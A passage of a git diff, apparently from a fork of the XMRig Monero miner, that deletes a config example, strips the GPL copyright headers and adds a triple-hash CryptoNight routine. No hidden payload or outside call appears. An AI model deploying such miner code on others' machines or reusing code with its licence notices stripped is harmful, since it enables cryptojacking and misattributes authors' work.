normal to 5 highest) - "donate-level": 5, // donate level, mininum 1% - "log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log" - "max-cpu-usage": 75, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. - "print-time": 60, // print hashrate report every N seconds - "retries": 5, // number of times to retry before switch to backup server - "retry-pause": 5, // time to pause between retries - "safe": false, // true to safe adjust threads and av settings for current CPU - "syslog": false, // use system log for output messages - "threads": null, // number of miner threads - "pools": [ - { - "url": "pool.minemonero.pro:5555", // URL of mining server - "user": "", // username for mining server - "pass": "x", // password for mining server - "keepalive": true, // send keepalived for prevent timeout (need pool support) - "nicehash": false // enable nicehash/xmrig-proxy support - } - ], - "api": { - "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API - "access-token": null, // access token for API - "worker-id": null // custom worker-id for API - } -} \ No newline at end of file diff --git a/src/crypto/CryptoNight.cpp b/src/crypto/CryptoNight.cpp index 3ac9e94b..bfbe32c8 100644 --- a/src/crypto/CryptoNight.cpp +++ b/src/crypto/CryptoNight.cpp @@ -1,92 +1,35 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include "crypto/CryptoNight.h" - -#if defined(XMRIG_ARM) -# include "crypto/CryptoNight_arm.h" -#else -# include "crypto/CryptoNight_x86.h" -#endif - +#include "crypto/CryptoNight_p.h" #include "crypto/CryptoNight_test.h" #include "net/Job.h" #include "net/JobResult.h" #include "Options.h" - - void (*cryptonight_hash_ctx)(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = nullptr; - - static void cryptonight_av1_aesni(const void *input, size_t size, void *output, struct cryptonight_ctx *ctx) { -# if !defined(XMRIG_ARMv7) cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx); -# endif } - - static void cryptonight_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { -# if !defined(XMRIG_ARMv7) cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, false>(input, size, output, ctx); -# endif } - - static void cryptonight_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { cryptonight_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx); } - - static void cryptonight_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { cryptonight_double_hash<0x80000, MEMORY, 0x1FFFF0, true>(input, size, output, ctx); } - - #ifndef XMRIG_NO_AEON static void cryptonight_lite_av1_aesni(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { - # if !defined(XMRIG_ARMv7) cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx); -#endif } - - static void cryptonight_lite_av2_aesni_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { -# if !defined(XMRIG_ARMv7) cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, false>(input, size, output, ctx); -# endif } - - static void cryptonight_lite_av3_softaes(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { cryptonight_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx); } - - static void cryptonight_lite_av4_softaes_double(const void *input, size_t size, void *output, cryptonight_ctx *ctx) { cryptonight_double_hash<0x40000, MEMORY_LITE, 0xFFFF0, true>(input, size, output, ctx); } - void (*cryptonight_variations[8])(const void *input, size_t size, void *output, cryptonight_ctx *ctx) = { cryptonight_av1_aesni, cryptonight_av2_aesni_double, @@ -105,16 +48,12 @@ void (*cryptonight_variations[4])(const void *input, size_t size, void *output, cryptonight_av4_softaes_double }; #endif - - bool CryptoNight::hash(const Job &job, JobResult &result, cryptonight_ctx *ctx) { cryptonight_hash_ctx(job.blob(), job.size(), result.result, ctx); return *reinterpret_cast(result.result + 24) < job.target(); } - - bool CryptoNight::init(int algo, int variant) { if (variant < 1 || variant > 4) { @@ -126,31 +65,21 @@ bool CryptoNight::init(int algo, int variant) # else const int index = variant - 1; # endif - cryptonight_hash_ctx = cryptonight_variations[index]; - return selfTest(algo); } - - void CryptoNight::hash(const uint8_t *input, size_t size, uint8_t *output, cryptonight_ctx *ctx) { cryptonight_hash_ctx(input, size, output, ctx); } - - bool CryptoNight::selfTest(int algo) { if (cryptonight_hash_ctx == nullptr) { return false; } - char output[64]; - struct cryptonight_ctx *ctx = (struct cryptonight_ctx*) _mm_malloc(sizeof(struct cryptonight_ctx), 16); ctx->memory = (uint8_t *) _mm_malloc(MEMORY * 2, 16); - cryptonight_hash_ctx(test_input, 76, output, ctx); - _mm_free(ctx->memory); _mm_free(ctx); diff --git a/src/crypto/CryptoNight.h b/src/crypto/CryptoNight.h index 64fc0fd1..851083f6 100644 --- a/src/crypto/CryptoNight.h +++ b/src/crypto/CryptoNight.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CRYPTONIGHT_H__ #define __CRYPTONIGHT_H__ diff --git a/src/crypto/CryptoNight_arm.h b/src/crypto/CryptoNight_p.h similarity index 73% rename from src/crypto/CryptoNight_arm.h rename to src/crypto/CryptoNight_p.h index 4ac14f34..75809b81 100644 --- a/src/crypto/CryptoNight_arm.h +++ b/src/crypto/CryptoNight_p.h @@ -1,11 +1,10 @@ /* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016 Imran Yusuff - * Copyright 2016-2017 XMRig + * Copyright 2010 Jeff Garzik + * Copyright 2012-2014 pooler + * Copyright 2014 Lucas Jones + * Copyright 2014-2016 Wolf9466 + * Copyright 2016 Jay D Dee + * Copyright 2016-2017 XMRig * * * This program is free software: you can redistribute it and/or modify @@ -22,14 +21,15 @@ * along with this program. If not, see . */ -#ifndef __CRYPTONIGHT_ARM_H__ -#define __CRYPTONIGHT_ARM_H__ +#ifndef __CRYPTONIGHT_P_H__ +#define __CRYPTONIGHT_P_H__ -#if defined(XMRIG_ARM) && !defined(__clang__) -# include "aligned_malloc.h" +#ifdef __GNUC__ +# include #else -# include +# include +# define __restrict__ __restrict #endif @@ -70,30 +70,29 @@ static inline void do_skein_hash(const void* input, size_t len, char* output) { void (* const extra_hashes[4])(const void *, size_t, char *) = {do_blake_hash, do_groestl_hash, do_jh_hash, do_skein_hash}; -static inline __attribute__((always_inline)) __m128i _mm_set_epi64x(const uint64_t a, const uint64_t b) -{ - return vcombine_u64(vcreate_u64(b), vcreate_u64(a)); -} +#if defined(__x86_64__) || defined(_M_AMD64) +# define EXTRACT64(X) _mm_cvtsi128_si64(X) -/* this one was not implemented yet so here it is */ -static inline __attribute__((always_inline)) uint64_t _mm_cvtsi128_si64(__m128i a) -{ - return vgetq_lane_u64(a, 0); -} - - -#define EXTRACT64(X) _mm_cvtsi128_si64(X) - - -#if defined(XMRIG_ARMv8) +# ifdef __GNUC__ static inline uint64_t __umul128(uint64_t a, uint64_t b, uint64_t* hi) { unsigned __int128 r = (unsigned __int128) a * (unsigned __int128) b; *hi = r >> 64; return (uint64_t) r; } -#else +# else + #define __umul128 _umul128 +# endif +#elif defined(__i386__) || defined(_M_IX86) +# define HI32(X) \ + _mm_srli_si128((X), 4) + + +# define EXTRACT64(X) \ + ((uint64_t)(uint32_t)_mm_cvtsi128_si32(X) | \ + ((uint64_t)(uint32_t)_mm_cvtsi128_si32(HI32(X)) << 32)) + static inline uint64_t __umul128(uint64_t multiplier, uint64_t multiplicand, uint64_t *product_hi) { // multiplier = ab = a * 2^32 + b // multiplicand = cd = c * 2^32 + d @@ -139,14 +138,14 @@ static inline __m128i sl_xor(__m128i tmp1) template static inline void aes_genkey_sub(__m128i* xout0, __m128i* xout2) { -// __m128i xout1 = _mm_aeskeygenassist_si128(*xout2, rcon); -// xout1 = _mm_shuffle_epi32(xout1, 0xFF); // see PSHUFD, set all elems to 4th elem -// *xout0 = sl_xor(*xout0); -// *xout0 = _mm_xor_si128(*xout0, xout1); -// xout1 = _mm_aeskeygenassist_si128(*xout0, 0x00); -// xout1 = _mm_shuffle_epi32(xout1, 0xAA); // see PSHUFD, set all elems to 3rd elem -// *xout2 = sl_xor(*xout2); -// *xout2 = _mm_xor_si128(*xout2, xout1); + __m128i xout1 = _mm_aeskeygenassist_si128(*xout2, rcon); + xout1 = _mm_shuffle_epi32(xout1, 0xFF); // see PSHUFD, set all elems to 4th elem + *xout0 = sl_xor(*xout0); + *xout0 = _mm_xor_si128(*xout0, xout1); + xout1 = _mm_aeskeygenassist_si128(*xout0, 0x00); + xout1 = _mm_shuffle_epi32(xout1, 0xAA); // see PSHUFD, set all elems to 3rd elem + *xout2 = sl_xor(*xout2); + *xout2 = _mm_xor_si128(*xout2, xout1); } @@ -172,19 +171,19 @@ static inline void aes_genkey(const __m128i* memory, __m128i* k0, __m128i* k1, _ *k0 = xout0; *k1 = xout2; - SOFT_AES ? soft_aes_genkey_sub<0x01>(&xout0, &xout2) : soft_aes_genkey_sub<0x01>(&xout0, &xout2); + SOFT_AES ? soft_aes_genkey_sub<0x01>(&xout0, &xout2) : aes_genkey_sub<0x01>(&xout0, &xout2); *k2 = xout0; *k3 = xout2; - SOFT_AES ? soft_aes_genkey_sub<0x02>(&xout0, &xout2) : soft_aes_genkey_sub<0x02>(&xout0, &xout2); + SOFT_AES ? soft_aes_genkey_sub<0x02>(&xout0, &xout2) : aes_genkey_sub<0x02>(&xout0, &xout2); *k4 = xout0; *k5 = xout2; - SOFT_AES ? soft_aes_genkey_sub<0x04>(&xout0, &xout2) : soft_aes_genkey_sub<0x04>(&xout0, &xout2); + SOFT_AES ? soft_aes_genkey_sub<0x04>(&xout0, &xout2) : aes_genkey_sub<0x04>(&xout0, &xout2); *k6 = xout0; *k7 = xout2; - SOFT_AES ? soft_aes_genkey_sub<0x08>(&xout0, &xout2) : soft_aes_genkey_sub<0x08>(&xout0, &xout2); + SOFT_AES ? soft_aes_genkey_sub<0x08>(&xout0, &xout2) : aes_genkey_sub<0x08>(&xout0, &xout2); *k8 = xout0; *k9 = xout2; } @@ -194,27 +193,25 @@ template static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7) { if (SOFT_AES) { - *x0 = soft_aesenc((uint32_t*)x0, key); - *x1 = soft_aesenc((uint32_t*)x1, key); - *x2 = soft_aesenc((uint32_t*)x2, key); - *x3 = soft_aesenc((uint32_t*)x3, key); - *x4 = soft_aesenc((uint32_t*)x4, key); - *x5 = soft_aesenc((uint32_t*)x5, key); - *x6 = soft_aesenc((uint32_t*)x6, key); - *x7 = soft_aesenc((uint32_t*)x7, key); + *x0 = soft_aesenc(*x0, key); + *x1 = soft_aesenc(*x1, key); + *x2 = soft_aesenc(*x2, key); + *x3 = soft_aesenc(*x3, key); + *x4 = soft_aesenc(*x4, key); + *x5 = soft_aesenc(*x5, key); + *x6 = soft_aesenc(*x6, key); + *x7 = soft_aesenc(*x7, key); } -# ifndef XMRIG_ARMv7 else { - *x0 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x0), key)); - *x1 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x1), key)); - *x2 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x2), key)); - *x3 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x3), key)); - *x4 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x4), key)); - *x5 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x5), key)); - *x6 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x6), key)); - *x7 = vaesmcq_u8(vaeseq_u8(*((uint8x16_t *) x7), key)); + *x0 = _mm_aesenc_si128(*x0, key); + *x1 = _mm_aesenc_si128(*x1, key); + *x2 = _mm_aesenc_si128(*x2, key); + *x3 = _mm_aesenc_si128(*x3, key); + *x4 = _mm_aesenc_si128(*x4, key); + *x5 = _mm_aesenc_si128(*x5, key); + *x6 = _mm_aesenc_si128(*x6, key); + *x7 = _mm_aesenc_si128(*x7, key); } -# endif } @@ -236,10 +233,6 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output) xin7 = _mm_load_si128(input + 11); for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) { - if (!SOFT_AES) { - aes_round(_mm_setzero_si128(), &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); - } - aes_round(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); @@ -249,20 +242,7 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output) aes_round(k6, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k7, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k8, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); - - if (!SOFT_AES) { - xin0 ^= k9; - xin1 ^= k9; - xin2 ^= k9; - xin3 ^= k9; - xin4 ^= k9; - xin5 ^= k9; - xin6 ^= k9; - xin7 ^= k9; - } - else { - aes_round(k9, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); - } + aes_round(k9, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); _mm_store_si128(output + i + 0, xin0); _mm_store_si128(output + i + 1, xin1); @@ -304,10 +284,6 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output) xout6 = _mm_xor_si128(_mm_load_si128(input + i + 6), xout6); xout7 = _mm_xor_si128(_mm_load_si128(input + i + 7), xout7); - if (!SOFT_AES) { - aes_round(_mm_setzero_si128(), &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); - } - aes_round(k0, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round(k1, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round(k2, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); @@ -317,20 +293,7 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output) aes_round(k6, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round(k7, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); aes_round(k8, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); - - if (!SOFT_AES) { - xout0 ^= k9; - xout1 ^= k9; - xout2 ^= k9; - xout3 ^= k9; - xout4 ^= k9; - xout5 ^= k9; - xout6 ^= k9; - xout7 ^= k9; - } - else { - aes_round(k9, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); - } + aes_round(k9, &xout0, &xout1, &xout2, &xout3, &xout4, &xout5, &xout6, &xout7); } _mm_store_si128(output + 4, xout0); @@ -362,15 +325,13 @@ inline void cryptonight_hash(const void *__restrict__ input, size_t size, void * for (size_t i = 0; i < ITERATIONS; i++) { __m128i cx; + cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); if (SOFT_AES) { - cx = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); + cx = soft_aesenc(cx, _mm_set_epi64x(ah0, al0)); } else { - cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); -# ifndef XMRIG_ARMv7 - cx = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah0, al0); -# endif + cx = _mm_aesenc_si128(cx, _mm_set_epi64x(ah0, al0)); } _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx)); @@ -426,19 +387,16 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size, uint64_t idx1 = h1[0] ^ h1[4]; for (size_t i = 0; i < ITERATIONS; i++) { - __m128i cx0, cx1; + __m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); + __m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); if (SOFT_AES) { - cx0 = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); - cx1 = soft_aesenc((uint32_t*)&l1[idx1 & MASK], _mm_set_epi64x(ah1, al1)); + cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0)); + cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1)); } else { - cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); - cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); -# ifndef XMRIG_ARMv7 - cx0 = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx0, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah0, al0); - cx1 = vreinterpretq_m128i_u8(vaesmcq_u8(vaeseq_u8(cx1, vdupq_n_u8(0)))) ^ _mm_set_epi64x(ah1, al1); -# endif + cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0)); + cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1)); } _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx0)); @@ -490,4 +448,4 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size, extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast(output) + 32); } -#endif /* __CRYPTONIGHT_ARM_H__ */ +#endif /* __CRYPTONIGHT_P_H__ */ diff --git a/src/crypto/CryptoNight_test.h b/src/crypto/CryptoNight_test.h index b2985379..20f7840a 100644 --- a/src/crypto/CryptoNight_test.h +++ b/src/crypto/CryptoNight_test.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CRYPTONIGHT_TEST_H__ #define __CRYPTONIGHT_TEST_H__ diff --git a/src/crypto/CryptoNight_x86.h b/src/crypto/CryptoNight_x86.h index 927aab72..e5cb2906 100644 --- a/src/crypto/CryptoNight_x86.h +++ b/src/crypto/CryptoNight_x86.h @@ -1,25 +1,4 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ +#include "log/Log.h" #ifndef __CRYPTONIGHT_X86_H__ #define __CRYPTONIGHT_X86_H__ @@ -193,14 +172,14 @@ template static inline void aes_round(__m128i key, __m128i* x0, __m128i* x1, __m128i* x2, __m128i* x3, __m128i* x4, __m128i* x5, __m128i* x6, __m128i* x7) { if (SOFT_AES) { - *x0 = soft_aesenc((uint32_t*)x0, key); - *x1 = soft_aesenc((uint32_t*)x1, key); - *x2 = soft_aesenc((uint32_t*)x2, key); - *x3 = soft_aesenc((uint32_t*)x3, key); - *x4 = soft_aesenc((uint32_t*)x4, key); - *x5 = soft_aesenc((uint32_t*)x5, key); - *x6 = soft_aesenc((uint32_t*)x6, key); - *x7 = soft_aesenc((uint32_t*)x7, key); + *x0 = soft_aesenc(*x0, key); + *x1 = soft_aesenc(*x1, key); + *x2 = soft_aesenc(*x2, key); + *x3 = soft_aesenc(*x3, key); + *x4 = soft_aesenc(*x4, key); + *x5 = soft_aesenc(*x5, key); + *x6 = soft_aesenc(*x6, key); + *x7 = soft_aesenc(*x7, key); } else { *x0 = _mm_aesenc_si128(*x0, key); @@ -221,6 +200,9 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output) __m128i xin0, xin1, xin2, xin3, xin4, xin5, xin6, xin7; __m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9; + _mm_prefetch((const char*)input, _MM_HINT_NTA); + _mm_prefetch((const char*)input + 8, _MM_HINT_NTA); + aes_genkey(input, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9); xin0 = _mm_load_si128(input + 4); @@ -233,6 +215,8 @@ static inline void cn_explode_scratchpad(const __m128i *input, __m128i *output) xin7 = _mm_load_si128(input + 11); for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) { + _mm_prefetch((const char*)output + i + 8, _MM_HINT_T2); + aes_round(k0, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k1, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); aes_round(k2, &xin0, &xin1, &xin2, &xin3, &xin4, &xin5, &xin6, &xin7); @@ -262,6 +246,9 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output) __m128i xout0, xout1, xout2, xout3, xout4, xout5, xout6, xout7; __m128i k0, k1, k2, k3, k4, k5, k6, k7, k8, k9; + _mm_prefetch((const char*)output, _MM_HINT_NTA); + _mm_prefetch((const char*)input, _MM_HINT_NTA); + aes_genkey(output + 2, &k0, &k1, &k2, &k3, &k4, &k5, &k6, &k7, &k8, &k9); xout0 = _mm_load_si128(output + 4); @@ -275,6 +262,8 @@ static inline void cn_implode_scratchpad(const __m128i *input, __m128i *output) for (size_t i = 0; i < MEM / sizeof(__m128i); i += 8) { + _mm_prefetch((const char*)input + i + 8, _MM_HINT_NTA); + xout0 = _mm_xor_si128(_mm_load_si128(input + i + 0), xout0); xout1 = _mm_xor_si128(_mm_load_si128(input + i + 1), xout1); xout2 = _mm_xor_si128(_mm_load_si128(input + i + 2), xout2); @@ -325,14 +314,15 @@ inline void cryptonight_hash(const void *__restrict__ input, size_t size, void * for (size_t i = 0; i < ITERATIONS; i++) { __m128i cx; + cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); if (SOFT_AES) { - cx = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); + cx = soft_aesenc(cx, _mm_set_epi64x(ah0, al0)); } - else { - cx = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); + else { cx = _mm_aesenc_si128(cx, _mm_set_epi64x(ah0, al0)); } + _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx)); idx0 = EXTRACT64(cx); bx0 = cx; @@ -386,15 +376,14 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size, uint64_t idx1 = h1[0] ^ h1[4]; for (size_t i = 0; i < ITERATIONS; i++) { - __m128i cx0, cx1; + __m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); + __m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); if (SOFT_AES) { - cx0 = soft_aesenc((uint32_t*)&l0[idx0 & MASK], _mm_set_epi64x(ah0, al0)); - cx1 = soft_aesenc((uint32_t*)&l1[idx1 & MASK], _mm_set_epi64x(ah1, al1)); + cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0)); + cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1)); } else { - cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); - cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0)); cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1)); } @@ -448,4 +437,237 @@ inline void cryptonight_double_hash(const void *__restrict__ input, size_t size, extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast(output) + 32); } -#endif /* __CRYPTONIGHT_X86_H__ */ +template +inline void cryptonight_triple_hash(const void *__restrict__ input, size_t size, void *__restrict__ output, struct cryptonight_ctx *__restrict__ ctx) +{ + keccak((const uint8_t *) input, (int) size, ctx->state0, 200); + keccak((const uint8_t *) input + size, (int) size, ctx->state1, 200); + keccak((const uint8_t *) input + size + size, (int) size, ctx->state2, 200); + + const uint8_t* l0 = ctx->memory; + const uint8_t* l1 = ctx->memory + MEM; + const uint8_t* l2 = ctx->memory + MEM + MEM; + uint64_t* h0 = reinterpret_cast(ctx->state0); + uint64_t* h1 = reinterpret_cast(ctx->state1); + uint64_t* h2 = reinterpret_cast(ctx->state2); + cn_explode_scratchpad((__m128i*) h0, (__m128i*) l0); + cn_explode_scratchpad((__m128i*) h1, (__m128i*) l1); + cn_explode_scratchpad((__m128i*) h2, (__m128i*) l2); + uint64_t al0 = h0[0] ^ h0[4]; + uint64_t al1 = h1[0] ^ h1[4]; + uint64_t al2 = h2[0] ^ h2[4]; + uint64_t ah0 = h0[1] ^ h0[5]; + uint64_t ah1 = h1[1] ^ h1[5]; + uint64_t ah2 = h2[1] ^ h2[5]; + __m128i bx0 = _mm_set_epi64x(h0[3] ^ h0[7], h0[2] ^ h0[6]); + __m128i bx1 = _mm_set_epi64x(h1[3] ^ h1[7], h1[2] ^ h1[6]); + __m128i bx2 = _mm_set_epi64x(h2[3] ^ h2[7], h2[2] ^ h2[6]); + + uint64_t idx0 = h0[0] ^ h0[4]; + uint64_t idx1 = h1[0] ^ h1[4]; + uint64_t idx2 = h2[0] ^ h2[4]; + for (size_t i = 0; i < ITERATIONS; i++) { + __m128i cx0 = _mm_load_si128((__m128i *) &l0[idx0 & MASK]); + __m128i cx1 = _mm_load_si128((__m128i *) &l1[idx1 & MASK]); + __m128i cx2 = _mm_load_si128((__m128i *) &l2[idx2 & MASK]); + + if (SOFT_AES) { + cx0 = soft_aesenc(cx0, _mm_set_epi64x(ah0, al0)); + cx1 = soft_aesenc(cx1, _mm_set_epi64x(ah1, al1)); + cx2 = soft_aesenc(cx2, _mm_set_epi64x(ah2, al2)); + } + else { + cx0 = _mm_aesenc_si128(cx0, _mm_set_epi64x(ah0, al0)); + cx1 = _mm_aesenc_si128(cx1, _mm_set_epi64x(ah1, al1)); + cx2 = _mm_aesenc_si128(cx2, _mm_set_epi64x(ah2, al2)); + } + + _mm_store_si128((__m128i *) &l0[idx0 & MASK], _mm_xor_si128(bx0, cx0)); + _mm_store_si128((__m128i *) &l1[idx1 & MASK], _mm_xor_si128(bx1, cx1)); + _mm_store_si128((__m128i *) &l2[idx2 & MASK], _mm_xor_si128(bx2, cx2)); + + idx0 = EXTRACT64(cx0); + idx1 = EXTRACT64(cx1); + idx2 = EXTRACT64(cx2); + + bx0 = cx0; + bx1 = cx1; + bx2 = cx2; + + uint64_t hi, lo, cl, ch; + cl = ((uint64_t*) &l0[idx0 & MASK])[0]; + ch = ((uint64_t*) &l0[idx0 & MASK])[1]; + lo = __umul128(idx0, cl, &hi); + + al0 += hi; + ah0 += lo; + + ((uint64_t*) &l0[idx0 & MASK])[0] = al0; + ((uint64_t*) &l0[idx0 & MASK])[1] = ah0; + + ah0 ^= ch; + al0 ^= cl; + idx0 = al0; + + cl = ((uint64_t*) &l1[idx1 & MASK])[0]; + ch = ((uint64_t*) &l1[idx1 & MASK])[1]; + lo = __umul128(idx1, cl, &hi); + + al1 += hi; + ah1 += lo; + + ((uint64_t*) &l1[idx1 & MASK])[0] = al1; + ((uint64_t*) &l1[idx1 & MASK])[1] = ah1; + + ah1 ^= ch; + al1 ^= cl; + idx1 = al1; + + cl = ((uint64_t*) &l2[idx2 & MASK])[0]; + ch = ((uint64_t*) &l2[idx2 & MASK])[1]; + lo = __umul128(idx2, cl, &hi); + + al2 += hi; + ah2 += lo; + + ((uint64_t*) &l2[idx2 & MASK])[0] = al2; + ((uint64_t*) &l2[idx2 & MASK])[1] = ah2; + + ah2 ^= ch; + al2 ^= cl; + idx2 = al2; + } + + cn_implode_scratchpad((__m128i*) l0, (__m128i*) 